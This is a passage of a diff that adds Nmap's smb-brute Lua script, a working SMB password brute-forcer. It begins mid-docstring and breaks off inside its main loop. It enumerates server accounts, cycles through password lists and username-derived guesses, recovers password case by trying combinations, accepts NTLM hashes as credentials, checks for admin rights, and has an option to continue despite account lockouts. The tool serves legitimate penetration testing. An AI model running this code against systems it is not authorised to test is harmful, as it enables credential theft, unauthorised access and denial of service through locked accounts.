+When possible, checks are done using a case-insensitive password, then proper case is
+determined with a fairly efficient bruteforce. For example, if the actual password is
+"PassWord", then "password" will work and "PassWord" will be found afterwards (on the
+14th attempt out of a possible 256 attempts, with the current algorithm).
+]]
+---
+--@usage
+-- nmap --script smb-brute.nse -p445 <host>
+-- sudo nmap -sU -sS --script smb-brute.nse -p U:137,T:139 <host>
+--
+--@output
+-- Host script results:
+-- | smb-brute:
+-- | bad name:test => Valid credentials
+-- | consoletest:test => Valid credentials, password must be changed at next logon
+-- | guest:<anything> => Valid credentials, account disabled
+-- | mixcase:BuTTeRfLY1 => Valid credentials
+-- | test:password1 => Valid credentials, account expired
+-- | this:password => Valid credentials, account cannot log in at current time
+-- | thisisaverylong:password => Valid credentials
+-- | thisisaverylongname:password => Valid credentials
+-- | thisisaverylongnamev:password => Valid credentials
+-- |_ web:TeSt => Valid credentials, account disabled
+--
+-- @args smblockout This argument will force the script to continue if it
+-- locks out an account or thinks it will lock out an account.
+-- @args brutelimit Limits the number of usernames checked in the script. In some domains,
+-- it's possible to end up with 10,000+ usernames on each server. By default, this
+-- will be <code>5000</code>, which should be higher than most servers and also prevent infinite
+-- loops or other weird things. This will only affect the user list pulled from the
+-- server, not the username list.
+-- @args canaries Sets the number of tests to do to attempt to lock out the first account.
+-- This will lock out the first account without locking out the rest of the accounts.
+-- The default is 3, which will only trigger strict lockouts, but will also bump the
+-- canary account up far enough to detect a lockout well before other accounts are
+-- hit.
+-----------------------------------------------------------------------
+
+
+author = "Ron Bowes"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"intrusive", "brute"}
+
+
+---The maximum number of usernames to check (can be modified with smblimit argument)
+-- The limit exists because domains may have hundreds of thousands of accounts,
+-- potentially.
+local LIMIT = 5000
+
+hostrule = function(host)
+ return smb.get_port(host) ~= nil
+end
+
+---The possible result codes. These are simplified from the actual codes that SMB returns.
+local results =
+{
+ SUCCESS = 1, -- Login was successful
+ GUEST_ACCESS = 2, -- Login was successful, but was granted guest access
+ NOT_GRANTED = 3, -- Password was correct, but user wasn't allowed to log in (often happens with blank passwords)
+ DISABLED = 4, -- Password was correct, but user's account is disabled
+ EXPIRED = 5, -- Password was correct, but user's account is expired
+ CHANGE_PASSWORD = 6, -- Password was correct, but user can't log in without changing it
+ ACCOUNT_LOCKED = 7, -- User's account is locked out (hopefully not by us!)
+ ACCOUNT_LOCKED_NOW = 8, -- User's account just became locked out (oops!)
+ FAIL = 9, -- User's password was incorrect
+ INVALID_LOGON_HOURS = 10, -- Password was correct, but user's account has logon time restrictions in place
+ INVALID_WORKSTATION = 11 -- Password was correct, but user's account has workstation restrictions in place
+}
+
+---Strings for debugging output
+local result_short_strings = {}
+result_short_strings[results.SUCCESS] = "SUCCESS"
+result_short_strings[results.GUEST_ACCESS] = "GUEST_ACCESS"
+result_short_strings[results.NOT_GRANTED] = "NOT_GRANTED"
+result_short_strings[results.DISABLED] = "DISABLED"
+result_short_strings[results.EXPIRED] = "EXPIRED"
+result_short_strings[results.CHANGE_PASSWORD] = "CHANGE_PASSWORD"
+result_short_strings[results.ACCOUNT_LOCKED] = "LOCKED"
+result_short_strings[results.ACCOUNT_LOCKED_NOW] = "LOCKED_NOW"
+result_short_strings[results.FAIL] = "FAIL"
+result_short_strings[results.INVALID_LOGON_HOURS] = "INVALID_LOGON_HOURS"
+result_short_strings[results.INVALID_WORKSTATION] = "INVALID_WORKSTATION"
+
+
+---The strings that the user will see
+local result_strings = {}
+result_strings[results.SUCCESS] = "Valid credentials"
+result_strings[results.GUEST_ACCESS] = "Valid credentials, account granted guest access only"
+result_strings[results.NOT_GRANTED] = "Valid credentials, but account wasn't allowed to log in (often happens with blank passwords)"
+result_strings[results.DISABLED] = "Valid credentials, account disabled"
+result_strings[results.EXPIRED] = "Valid credentials, account expired"
+result_strings[results.CHANGE_PASSWORD] = "Valid credentials, password must be changed at next logon"
+result_strings[results.ACCOUNT_LOCKED] = "Valid credentials, account locked (hopefully not by us!)"
+result_strings[results.ACCOUNT_LOCKED_NOW] = "Valid credentials, account just became locked (oops!)"
+result_strings[results.FAIL] = "Invalid credentials"
+result_strings[results.INVALID_LOGON_HOURS] = "Valid credentials, account cannot log in at current time"
+result_strings[results.INVALID_WORKSTATION] = "Valid credentials, account cannot log in from current host"
+
+---Constants for special passwords. These each contain a null character, which is illegal in
+-- actual passwords.
+local USERNAME = "\0username"
+local USERNAME_REVERSED = "\0username reversed"
+local special_passwords = { USERNAME, USERNAME_REVERSED }
+
+---Generates a random string of the requested length. This can be used to check how hosts react to
+-- weird username/password combinations.
+--@param length (optional) The length of the string to return. Default: 8.
+--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore.
+--@return The random string.
+local function get_random_string(length)
+ return rand.random_string(length, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_")
+end
+
+---Splits a string in the form "domain\user" into domain and user.
+--@param str The string to split
+--@return (domain, username) The domain and the username. If no domain was given, nil is returned
+-- for domain.
+local function split_domain(str)
+ local username, domain
+ local split = stringaux.strsplit("\\", str)
+
+ if(#split > 1) then
+ domain = split[1]
+ username = split[2]
+ else
+ domain = nil
+ username = str
+ end
+
+ return domain, username
+end
+
+---Formats a username/password pair with an optional result. Just a way to keep things consistent
+-- throughout the program. Currently, the format is "username:password => result".
+--@param username The username.
+--@param password [optional] The password. Default: "<unknown>".
+--@param result [optional] The result, as a constant. Default: not used.
+--@return A string representing the input values.
+local function format_result(username, password, result)
+
+ if(username == "") then
+ username = "<blank>"
+ end
+
+ if(password == nil) then
+ password = "<unknown>"
+ elseif(password == "") then
+ password = "<blank>"
+ end
+
+ if(result == nil) then
+ return string.format("%s:%s", username, password)
+ else
+ return string.format("%s:%s => %s", username, password, result_strings[result])
+ end
+end
+
+---Decides which login type to use (lanman, ntlm, or other). Designed to keep things consistent.
+--@param hostinfo The hostinfo table.
+--@return A string representing the login type to use (that can be passed to SMB functions).
+local function get_type(hostinfo)
+ -- Check if the user requested a specific type
+ if(nmap.registry.args.smbtype ~= nil) then
+ return nmap.registry.args.smbtype
+ end
+
+ -- Otherwise, base the type on the operating system (TODO: other versions of Windows (7, 2008))
+ -- 2k8 example: "Windows Server (R) 2008 Datacenter without Hyper-V 6001 Service Pack 1"
+ if(string.find(string.lower(hostinfo['os']), "vista") ~= nil) then
+ return "ntlm"
+ elseif(string.find(string.lower(hostinfo['os']), "2008") ~= nil) then
+ return "ntlm"
+ elseif(string.find(string.lower(hostinfo['os']), "Windows 7") ~= nil) then
+ return "ntlm"
+ end
+
+ return "lm"
+end
+
+---Stops the session, if one exists. This can be called as frequently as needed, it'll just return if no
+-- session is present, but it should generally be paired with a <code>restart_session</code> call.
+--@param hostinfo The hostinfo table.
+--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
+local function stop_session(hostinfo)
+ local status, err
+
+ if(hostinfo['smbstate'] ~= nil) then
+ stdnse.debug2("Stopping the SMB session")
+ status, err = smb.stop(hostinfo['smbstate'])
+ if(status == false) then
+ return false, err
+ end
+
+ hostinfo['smbstate'] = nil
+ end
+
+
+ return true
+end
+
+---Starts or restarts a SMB session with the host. Although this will automatically stop a session if
+-- one exists, it's a little cleaner to pair this with a <code>stop_session</code> call.
+--@param hostinfo The hostinfo table.
+--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
+local function restart_session(hostinfo)
+ local status, err, smbstate
+
+ -- Stop the old session, if it exists
+ stop_session(hostinfo)
+
+ stdnse.debug2("Starting the SMB session")
+ status, smbstate = smb.start_ex(hostinfo['host'], true, nil, nil, nil, true)
+ if(status == false) then
+ return false, smbstate
+ end
+
+ hostinfo['smbstate'] = smbstate
+
+ return true
+end
+
+---Attempts to log into an account, returning one of the <code>results</code> constants. Will always return to the
+-- state where another login can be attempted. Will also differentiate between a hash and a password, and choose the
+-- proper login method (unless overridden). Will interpret the result as much as possible.
+--
+-- The session has to be active (ie, <code>restart_session</code> has to be called) before calling this function.
+--
+--@param hostinfo The hostinfo table.
+--@param username The username to try.
+--@param password The password to try.
+--@param logintype [optional] The logintype to use. Default: <code>get_type</code> is called. If <code>password</code>
+-- is a hash, this is ignored.
+--@return Result, an integer value from the <code>results</code> constants.
+local function check_login(hostinfo, username, password, logintype)
+ local result
+ local domain = ""
+ local smbstate = hostinfo['smbstate']
+ if(logintype == nil) then
+ logintype = get_type(hostinfo)
+ end
+
+ -- Determine if we have a password hash or a password
+ local status, err
+ if(#password == 32 or #password == 64 or #password == 65) then
+ -- It's a hash (note: we always use NTLM hashes)
+ status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, nil, password, "ntlm"), false)
+ else
+ status, err = smb.start_session(smbstate, smb.get_overrides(username, domain, password, nil, logintype), false)
+ end
+
+ if(status == true) then
+ if(smbstate['is_guest'] == 1) then
+ result = results.GUEST_ACCESS
+ else
+ result = results.SUCCESS
+ end
+
+ smb.logoff(smbstate)
+ else
+ if(err == "NT_STATUS_LOGON_TYPE_NOT_GRANTED") then
+ result = results.NOT_GRANTED
+ elseif(err == "NT_STATUS_ACCOUNT_LOCKED_OUT") then
+ result = results.ACCOUNT_LOCKED
+ elseif(err == "NT_STATUS_ACCOUNT_DISABLED") then
+ result = results.DISABLED
+ elseif(err == "NT_STATUS_PASSWORD_MUST_CHANGE") then
+ result = results.CHANGE_PASSWORD
+ elseif(err == "NT_STATUS_INVALID_LOGON_HOURS") then
+ result = results.INVALID_LOGON_HOURS
+ elseif(err == "NT_STATUS_INVALID_WORKSTATION") then
+ result = results.INVALID_WORKSTATION
+ elseif(err == "NT_STATUS_ACCOUNT_EXPIRED") then
+ result = results.EXPIRED
+ else
+ result = results.FAIL
+ end
+ end
+
+ --io.write(string.format("Result: %s\n\n", result_strings[result]))
+
+ return result
+end
+
+---Determines whether or not a login was successful, based on what's known about the server's settings. This
+-- is fairly straight forward, but has a couple little tricks.
+--
+--@param hostinfo The hostinfo table.
+--@param result The result code.
+--@return <code>true</code> if the password used for logging in was correct, <code>false</code> otherwise. Keep
+-- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather
+-- that the password was valid.
+
+function is_positive_result(hostinfo, result)
+ -- If result is a FAIL, it's always bad
+ if(result == results.FAIL) then
+ return false
+ end
+
+ -- If result matches what we discovered for invalid passwords, it's always bad
+ if(result == hostinfo['invalid_password']) then
+ return false
+ end
+
+ -- If result was ACCOUNT_LOCKED, it's always bad (locked accounts should already be taken care of, but this
+ -- makes the function a bit more generic)
+ if(result == results.ACCOUNT_LOCKED) then
+ return false
+ end
+
+ -- Otherwise, it's good
+ return true
+end
+
+---Determines whether or not a login was "bad". A bad login is one where an account becomes locked out.
+--
+--@param hostinfo The hostinfo table.
+--@param result The result code.
+--@return <code>true</code> if the password used for logging in was correct, <code>false</code> otherwise. Keep
+-- in mind that this doesn't imply the login was successful (only results.SUCCESS indicates that), rather
+-- that the password was valid.
+
+function is_bad_result(hostinfo, result)
+ -- If result is LOCKED, it's always bad.
+ if(result == results.ACCOUNT_LOCKED or result == results.ACCOUNT_LOCKED_NOW) then
+ return true
+ end
+
+ -- Otherwise, it's good
+ return false
+end
+
+---Count the number of one bits in a binary representation of the given number. This is used for case-sensitive
+-- checks.
+--
+--@param num The number to count the ones for.
+--@return The number of ones in the number
+local function count_ones(num)
+ local count = 0
+
+ while num ~= 0 do
+ if((num & 1) == 1) then
+ count = count + 1
+ end
+ num = num >> 1
+ end
+
+ return count
+end
+
+---Converts a string's case based on a binary number. For every '1' bit, the character is uppercased, and for every '0'
+-- bit it's lowercased. For example, "test" and 8 (1000) becomes "Test", while "test" and 11 (1011) becomes "TeST".
+--
+--@param str The string to convert.
+--@param num The binary number representing the case. This value isn't checked, so if it's too large it's truncated, and if it's
+-- too small it's effectively zero-padded.
+--@return The converted string.
+local function convert_case(str, num)
+ local pos = #str
+
+ -- Don't bother with blank strings (we probably won't get here anyway, but it doesn't hurt)
+ if(str == "") then
+ return ""
+ end
+
+ while(num ~= 0) do
+ -- Check if the bit we're at is '1'
+ if((num & 1) == 1) then
+ -- Check if we're at the beginning or end (or both) of the string -- those are special cases
+ if(pos == #str and pos == 1) then
+ str = string.upper(string.sub(str, pos, pos))
+ elseif(pos == #str) then
+ str = string.sub(str, 1, pos - 1) .. string.upper(string.sub(str, pos, pos))
+ elseif(pos == 1) then
+ str = string.upper(string.sub(str, pos, pos)) .. string.sub(str, pos + 1, #str)
+ else
+ str = string.sub(str, 1, pos - 1) .. string.upper(string.sub(str, pos, pos)) .. string.sub(str, pos + 1, #str)
+ end
+ end
+
+ num = num >> 1
+
+ pos = pos - 1
+ end
+
+ return str
+end
+
+---Attempts to determine the case of a password. This is done by trying every possible combination of upper and lowercase
+-- characters in the password, in the most efficient possible ordering, until the correct case is found.
+--
+-- A session has to be active when this function is called.
+--
+--@param hostinfo The hostinfo table.
+--@param username The username.
+--@param password The password (it's assumed that it's all lowercase already, but it doesn't matter)
+--@return The password with the proper case, or the original password if it couldn't be determined (either the proper
+-- case wasn't found or the login type is incorrect).
+local function find_password_case(hostinfo, username, password)
+ -- Only do this if we're using lanman, otherwise we already have the proper password
+ if(get_type(hostinfo) ~= "lm") then
+ return password
+ end
+
+ -- Figure out how many possibilities exist
+ local max = (1 << #password) - 1
+
+ -- Create an array of them, starting with all the values whose binary representation has no ones, then one one, then two ones, etc.
+ local ordered = {}
+
+ -- Cheat a bit, by adding all lower then all upper right at the start
+ ordered = {0, max}
+
+ -- Loop backwards from the length of the password to 0. At each spot, put all numbers that have that many '1' bits
+ for i = 1, #password - 1, 1 do
+ for j = max, 0, -1 do
+ if(count_ones(j) == i) then
+ table.insert(ordered, j)
+ end
+ end
+ end
+
+ -- Create the list of converted passwords
+ for i = 1, #ordered, 1 do
+ local thispassword = convert_case(password, ordered[i])
+
+ -- We specify "ntlm" for the login type because it's case sensitive
+ local result = check_login(hostinfo, username, thispassword, 'ntlm')
+ if(is_positive_result(hostinfo, result)) then
+ return thispassword
+ end
+ end
+
+ -- Print an error message
+ stdnse.debug1("ERROR: smb-brute: Was unable to determine case of %s's password", username)
+
+ -- If all else fails, just return the actual password (we probably shouldn't get here)
+ return password
+end
+
+---Unless the user is ok with lockouts, check the lockout policy of the host. Take the most restrictive
+-- portion among the domains. Returns true if lockouts could happen, false otherwise.
+local function bad_lockout_policy(host)
+ -- If the user is ok with locking out accounts, just return
+ if(stdnse.get_script_args( "smblockout" )) then
+ stdnse.debug1("Not checking server's lockout policy")
+ return true, false
+ end
+
+ local status, result = msrpc.get_domains(host)
+ if(not(status)) then
+ stdnse.debug1("Couldn't detect lockout policy: %s", result)
+ return false, "Couldn't retrieve lockout policy: " .. result
+ end
+
+ for domain, data in pairs(result) do
+ if(data and data.lockout_threshold) then
+ stdnse.debug1("Server's lockout policy: lock out after %d attempts", data.lockout_threshold)
+ return true, true
+ end
+ end
+
+ stdnse.debug1("Server has no lockout policy")
+ return true, false
+end
+
+---Initializes and returns the hostinfo table. This includes queuing up the username and password lists, determining
+-- the server's operating system, and checking the server's response for invalid usernames/invalid passwords.
+--
+--@param host The host object.
+local function initialize(host)
+ local os, result
+ local status, bad_lockout_policy_result
+ local hostinfo = {}
+
+ hostinfo['host'] = host
+ hostinfo['invalid_usernames'] = {}
+ hostinfo['locked_usernames'] = {}
+ hostinfo['accounts'] = {}
+ hostinfo['special_password'] = 1
+
+ -- Get the OS (identifying windows versions tells us which hash to use)
+ result, os = smb.get_os(host)
+ if(result == false or os['os'] == nil) then
+ hostinfo['os'] = "<Unknown>"
+ else
+ hostinfo['os'] = os['os']
+ end
+ stdnse.debug1("Remote operating system: %s", hostinfo['os'])
+
+ -- Check lockout policy
+ status, bad_lockout_policy_result = bad_lockout_policy(host)
+ if(not(status)) then
+ stdnse.debug1("WARNING: couldn't determine lockout policy: %s", bad_lockout_policy_result)
+ else
+ if(bad_lockout_policy_result) then
+ return false, "Account lockouts are enabled on the host. To continue (and risk lockouts), add --script-args=smblockout=1 -- for more information, run smb-enum-domains."
+ end
+ end
+
+ -- Attempt to enumerate users
+ stdnse.debug1("Trying to get user list from server")
+ local _
+ hostinfo['have_user_list'], _, hostinfo['user_list'] = msrpc.get_user_list(host)
+ hostinfo['user_list_index'] = 1
+ if(hostinfo['have_user_list'] and #hostinfo['user_list'] == 0) then
+ hostinfo['have_user_list'] = false
+ end
+
+ -- If the enumeration failed, try using the built-in list
+ if(not(hostinfo['have_user_list'])) then
+ stdnse.debug1("Couldn't enumerate users (normal for Windows XP and higher), using unpwdb initially")
+ status, hostinfo['user_list_default'] = unpwdb.usernames()
+ if(status == false) then
+ return false, "Couldn't open username file"
+ end
+ end
+
+ -- Open the password file
+ stdnse.debug1("Opening password list")
+ status, hostinfo['password_list'] = unpwdb.passwords()
+ if(status == false) then
+ return false, "Couldn't open password file"
+ end
+
+ -- Start the SMB session
+ stdnse.debug1("Starting the initial SMB session")
+ local err
+ status, err = restart_session(hostinfo)
+ if(status == false) then
+ stop_session(hostinfo)
+ return false, err
+ end
+
+ -- Some hosts will accept any username -- check for this by trying to log in with a totally random name. If the
+ -- server accepts it, it'll be impossible to bruteforce; if it gives us a weird result code, we have to remember
+ -- it.
+ hostinfo['invalid_username'] = check_login(hostinfo, get_random_string(8), get_random_string(8), "ntlm")
+ hostinfo['invalid_password'] = check_login(hostinfo, "Administrator", get_random_string(8), "ntlm")
+
+ stdnse.debug1("Server's response to invalid usernames: %s", result_short_strings[hostinfo['invalid_username']])
+ stdnse.debug1("Server's response to invalid passwords: %s", result_short_strings[hostinfo['invalid_password']])
+
+ -- If either of these comes back as success, there's no way to tell what's valid/invalid
+ if(hostinfo['invalid_username'] == results.SUCCESS) then
+ stop_session(hostinfo)
+ return false, "Invalid username was accepted; unable to bruteforce"
+ end
+ if(hostinfo['invalid_password'] == results.SUCCESS) then
+ stop_session(hostinfo)
+ return false, "Invalid password was accepted; unable to bruteforce"
+ end
+
+ -- Print a message to the user if we can identify passwords
+ if(hostinfo['invalid_username'] ~= hostinfo['invalid_password']) then
+ stdnse.debug1("Invalid username and password response are different, so identifying valid accounts is possible")
+ end
+
+ -- Print a warning message if invalid_username and invalid_password go to the same thing that isn't FAIL
+ if(hostinfo['invalid_username'] ~= results.FAIL and hostinfo['invalid_username'] == hostinfo['invalid_password']) then
+ stdnse.debug1("WARNING: Difficult to recognize invalid usernames/passwords; may not get good results")
+ end
+
+ -- Restart the SMB connection so we have a clean slate
+ stdnse.debug1("Restarting the session before the bruteforce")
+ status, err = restart_session(hostinfo)
+ if(status == false) then
+ stop_session(hostinfo)
+ return false, err
+ end
+
+ -- Stop the SMB session (we're going to let the scripts look after their own sessions)
+ stop_session(hostinfo)
+
+ -- Return the results
+ return true, hostinfo
+end
+
+---Retrieves the next password in the password database we're using. Will never return the empty string.
+-- May also return one of the <code>special_passwords</code> constants.
+--
+--@param hostinfo The hostinfo table (the password list is stored there).
+--@return The new password, or nil if the end of the list has been reached.
+local function get_next_password(hostinfo)
+ local new_password
+
+ -- If we're out of special passwords, move onto actual ones
+ if(hostinfo['special_password'] > #special_passwords) then
+ -- Pick the next non-blank password from the list
+ repeat
+ new_password = hostinfo['password_list']()
+ until new_password ~= ''
+ else
+ -- Get the next non-blank password
+ new_password = special_passwords[hostinfo['special_password']]
+ hostinfo['special_password'] = hostinfo['special_password'] + 1
+ end
+
+ return new_password
+end
+
+---Reset to the first password. This is normally done when the user list changes.
+--
+--@param hostinfo The hostinfo table.
+local function reset_password(hostinfo)
+ hostinfo['password_list']("reset")
+end
+
+---Retrieves the next username. This can be from the username database, or from an array stored in the
+-- hostinfo table. This won't return any names that have been determined to be invalid, locked, or
+-- have already had their password found.
+--
+--@param hostinfo The hostinfo table
+--@return The next username, or nil if the end of the list has been reached.
+local function get_next_username(hostinfo)
+ local username
+
+ repeat
+ if(hostinfo['have_user_list']) then
+ local index = hostinfo['user_list_index']
+ hostinfo['user_list_index'] = hostinfo['user_list_index'] + 1
+
+ username = hostinfo['user_list'][index]
+ if(username ~= nil) then
+ local _
+ _, username = split_domain(username)
+ end
+
+ else
+ username = hostinfo['user_list_default']()
+ end
+
+ -- Make the username lowercase (usernames aren't case sensitive, so making it lower case prevents duplicates)
+ if(username ~= nil) then
+ username = string.lower(username)
+ end
+
+ until username == nil or (hostinfo['invalid_usernames'][username] ~= true and hostinfo['locked_usernames'][username] ~= true and hostinfo['accounts'][username] == nil)
+
+ return username
+end
+
+---Reset to the first username.
+--
+--@param hostinfo The hostinfo table.
+local function reset_username(hostinfo)
+ if(hostinfo['have_user_list']) then
+ hostinfo['user_list_index'] = 1
+ else
+ hostinfo['user_list_default']("reset")
+ end
+end
+
+---Do a little trick to detect account lockouts without bringing every user to the lockout threshold -- bump the lockout counter of
+-- the first user ahead. If lockouts are happening, this means that the first account will trigger before the rest of the accounts.
+-- A canary in the mineshaft, in a way.
+--
+-- The number of checks defaults to three, but it can be controlled with the <code>canary</code> argument.
+--
+-- Times it'll fail are when:
+-- * Accounts are locked out due to the initial checks (happens if the user runs smb-brute twice in a row, the canary won't help)
+-- * A valid user list isn't pulled, and we create a canary that doesn't exist (won't be as bad, though, because it means we also
+-- don't have every account on the server/domain
+function test_lockouts(hostinfo)
+ local i
+ local username = get_next_username(hostinfo)
+
+ -- It's possible that every username was accounted for already, so our list is empty.
+ if(username == nil) then
+ return
+ end
+
+ if(stdnse.get_script_args( "smblockout" )) then
+ return
+ end
+
+ while(string.lower(username) == "administrator") do
+ username = get_next_username(hostinfo)
+ if(username == nil) then
+ return
+ end
+ end
+
+ if(username ~= nil) then
+ -- Try logging in as the "canary" account
+ local canaries = nmap.registry.args.canaries
+ if(canaries == nil) then
+ canaries = 3
+ else
+ canaries = tonumber(canaries)
+ end
+
+ if(canaries > 0) then
+ stdnse.debug1("Detecting server lockout on '%s' with %d canaries", username, canaries)
+ end
+
+ local result
+ for i=1, canaries, 1 do
+ result = check_login(hostinfo, username, get_random_string(8), "ntlm")
+ end
+
+ -- If the account just became locked (it's already been put on the 'valid' list), we're in trouble
+ if(result == results.LOCKED) then
+ -- If the canary just became locked, we're one step from locking out every account. Loop through the usernames and invalidate them to
+ -- prevent them from being locked out
+ stdnse.debug1("Canary (%s) became locked out -- aborting", username)
+
+ -- Add it to the locked username list (so it can be reported)
+ hostinfo['locked_usernames'][username] = true
+
+ -- Mark all the usernames as invalid (a bit of a hack, but it's safer this way)
+ while(username ~= nil) do
+ stdnse.debug1("Marking '%s' as 'invalid'", username)
+ hostinfo['invalid_usernames'][username] = true
+ username = get_next_username(hostinfo)
+ end
+ end
+ end
+
+ -- Go back to the beginning of the list
+ reset_username(hostinfo)
+end
+
+---Attempts to validate the current list of usernames by logging in with a blank password, marking invalid ones (and ones that had
+-- a blank password). Determining the validity of a username works best if invalid usernames are redirected to 'guest'.
+--
+-- If a username accepts the blank password, a random password is tested. If that's accepted as well, the account is marked as
+-- accepting any password (the 'guest' account is normally like that).
+--
+-- This also checks whether the server locks out users, and raises the lockout threshold of the first user (see the
+-- <code>check_lockouts</code> function for more information on that. If accounts on the system are locked out, they aren't
+-- checked.
+--
+--@param hostinfo The hostinfo table.
+--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
+local function validate_usernames(hostinfo)
+ local status, err
+ local result
+ local username, password
+
+ stdnse.debug1("Checking which account names exist (based on what goes to the 'guest' account)")
+
+ -- Start a session
+ status, err = restart_session(hostinfo)
+ if(status == false) then
+ return false, err
+ end
+
+ -- Make sure we start at the beginning
+ reset_username(hostinfo)
+
+ username = get_next_username(hostinfo)
+ while(username ~= nil) do
+ result = check_login(hostinfo, username, "", "ntlm")
+
+ if(result ~= hostinfo['invalid_password'] and result == hostinfo['invalid_username']) then
+ -- If the account matches the value of 'invalid_username', but not the value of 'invalid_password', it's invalid
+ stdnse.debug1("Blank password for '%s' -> '%s' (invalid account)", username, result_short_strings[result])
+ hostinfo['invalid_usernames'][username] = true
+
+ elseif(result == hostinfo['invalid_password']) then
+
+ -- If the account matches the value of 'invalid_password', and 'invalid_password' is reliable, it's probably valid
+ if(hostinfo['invalid_username'] ~= results.FAIL and hostinfo['invalid_username'] == hostinfo['invalid_password']) then
+ stdnse.debug1("Blank password for '%s' => '%s' (can't determine validity)", username, result_short_strings[result])
+ else
+ stdnse.debug1("Blank password for '%s' => '%s' (probably valid)", username, result_short_strings[result])
+ end
+
+ elseif(result == results.ACCOUNT_LOCKED) then
+ -- If the account is locked out, don't try it
+ hostinfo['locked_usernames'][username] = true
+ stdnse.debug1("Blank password for '%s' => '%s' (locked out)", username, result_short_strings[result])
+
+ elseif(result == results.FAIL) then
+ -- If none of the standard options work, check if it's FAIL. If it's FAIL, there's an error somewhere (probably, the
+ -- 'administrator' username is changed so we're getting invalid data).
+ stdnse.debug1("Blank password for '%s' => '%s' (may be valid)", username, result_short_strings[result])
+
+ else
+ -- If none of those came up, either the password is legitimately blank, or any account works. Figure out what!
+ local new_result = check_login(hostinfo, username, get_random_string(14), "ntlm")
+ if(new_result == result) then
+ -- Any password works (often happens with 'guest' account)
+ stdnse.debug1("All passwords accepted for %s (goes to %s)", username, result_short_strings[result])
+ status, err = found_account(hostinfo, username, "<anything>", result)
+ if(status == false) then
+ return false, err
+ end
+ else
+ -- Blank password worked, but not random one
+ status, err = found_account(hostinfo, username, "", result)
+ if(status == false) then
+ return false, err
+ end
+ end
+ end
+
+ username = get_next_username(hostinfo)
+ end
+
+ -- Start back at the beginning of the list
+ reset_username(hostinfo)
+
+ -- Check for lockouts
+ test_lockouts(hostinfo)
+
+ -- Stop the session
+ stop_session(hostinfo)
+
+ return true
+end
+
+---Marks an account as discovered. The login with this account doesn't have to be successful, but <code>is_positive_result</code> should
+-- return <code>true</code>.
+--
+-- If the result IS successful, and this hasn't been done before, this function will attempt to pull a userlist from the server.
+--
+-- The session should be stopped before entering this function, and restarted after -- that allows this function to make its own SMB calls.
+--
+--@param hostinfo The hostinfo table.
+--@param username The username.
+--@param password The password.
+--@param result The result, as an integer constant.
+--@return (status, err) If status is false, err is a string corresponding to the error; otherwise, err is undefined.
+function found_account(hostinfo, username, password, result)
+ local status, err
+
+ -- Save the username
+ hostinfo['accounts'][username] = {}
+ hostinfo['accounts'][username]['password'] = password
+ hostinfo['accounts'][username]['result'] = result
+
+ -- Save the account (smb will automatically decide if it's better than the account it already has)
+ if(result == results.SUCCESS) then
+ -- Stop the connection -- this lets us do some queries
+ status, err = stop_session(hostinfo)
+ if(status == false) then
+ return false, err
+ end
+
+ -- Check if we have an 'admin' account
+ -- Try getting information about "IPC$". This determines whether or not the user is administrator
+ -- since only admins can get share info. Note that on Vista and up, unless UAC is disabled, all
+ -- accounts are non-admin.
+ local is_admin = smb.is_admin(hostinfo['host'], username, '', password, nil, nil)
+
+ -- Add the account
+ smb.add_account(hostinfo['host'], username, '', password, nil, nil, is_admin)
+
+ -- Check lockout policy
+ local status, bad_lockout_policy_result = bad_lockout_policy(hostinfo['host'])
+ if(not(status)) then
+ stdnse.debug1("WARNING: couldn't determine lockout policy: %s", bad_lockout_policy_result)
+ else
+ if(bad_lockout_policy_result) then
+ return false, "Account lockouts are enabled on the host. To continue (and risk lockouts), add --script-args=smblockout=1 -- for more information, run smb-enum-domains."
+ end
+ end
+
+ -- If we haven't retrieved the real user list yet, do so
+ if(hostinfo['have_user_list'] == false) then
+ -- Attempt to enumerate users
+ stdnse.debug1("Trying to get user list from server using newly discovered account")
+ local _
+ hostinfo['have_user_list'], _, hostinfo['user_list'] = msrpc.get_user_list(hostinfo['host'])
+ hostinfo['user_list_index'] = 1
+ if(hostinfo['have_user_list'] and #hostinfo['user_list'] == 0) then
+ hostinfo['have_user_list'] = false
+ end
+
+ -- If the list was found, let the user know and reset the password list
+ if(hostinfo['have_user_list']) then
+ stdnse.debug1("Found %d accounts to check!", #hostinfo['user_list'])
+ reset_password(hostinfo)
+
+ -- Validate them (pick out the ones that can't possibly log in)
+ validate_usernames(hostinfo)
+ end
+ end
+
+ -- Start the session again
+ status, err = restart_session(hostinfo)
+ if(status == false) then
+ return false, err
+ end
+
+ end
+end
+
+---This is the main function that does all the work (loops through the lists and checks the results).
+--
+--@param host The host table.
+--@return (status, accounts, locked_accounts) If status is false, accounts is an error message. Otherwise, accounts
+-- is a table of passwords/results, indexed by the username and locked_accounts is a table indexed by locked
+-- usernames.
+local function go(host)
+ local status, err
+ local result, hostinfo
+ local password, temp_password, username
+ local response = {}
+
+ -- Initialize the hostinfo object, which sets up the initial variables
+ result, hostinfo = initialize(host)
+ if(result == false) then
+ return false, hostinfo
+ end
+
+ -- If invalid accounts don't give guest, we can determine the existence of users by trying to
+ -- log in with an invalid password and checking the value
+ status, err = validate_usernames(hostinfo)
+ if(status == false) then
+ return false, err
+ end
+
+ -- Start up the SMB session
+ status, err = restart_session(hostinfo)
+ if(status == false) then
+ return false, err
+ end
+
+ -- Loop through the password list
+ temp_password = get_next_password(hostinfo)
+ while(temp_password ~= nil) do
+ -- Loop through the user list
+ username = get_next_username(hostinfo)
+ while(username ~= nil) do
+ -- Check if it's a special case (we do this every loop because special cases are often
+ -- based on the username
+ if(temp_password == USERNAME) then
+ password = username
+ --io.write(string.format("Trying matching username/password (%s:%s)\n", username, password))
+ elseif(temp_password == USERNAME_REVERSED) then
+ password = string.reverse(username)
+ --io.write(string.format("Trying reversed username/password (%s:%s)\n", username, password))
+ else
+ password = temp_password
+ end
+
+ --io.write(string.format("%s:%s\n", username, password))
+ local result = check_login(hostinfo, username, password, get_type(hostinfo))
+
+ -- Check if the username was locked out
+ if(is_bad_result(hostinfo, result)) then
+ -- Add it to the list of locked usernames
+ hostinfo['locked_usernames'][username] = true
+
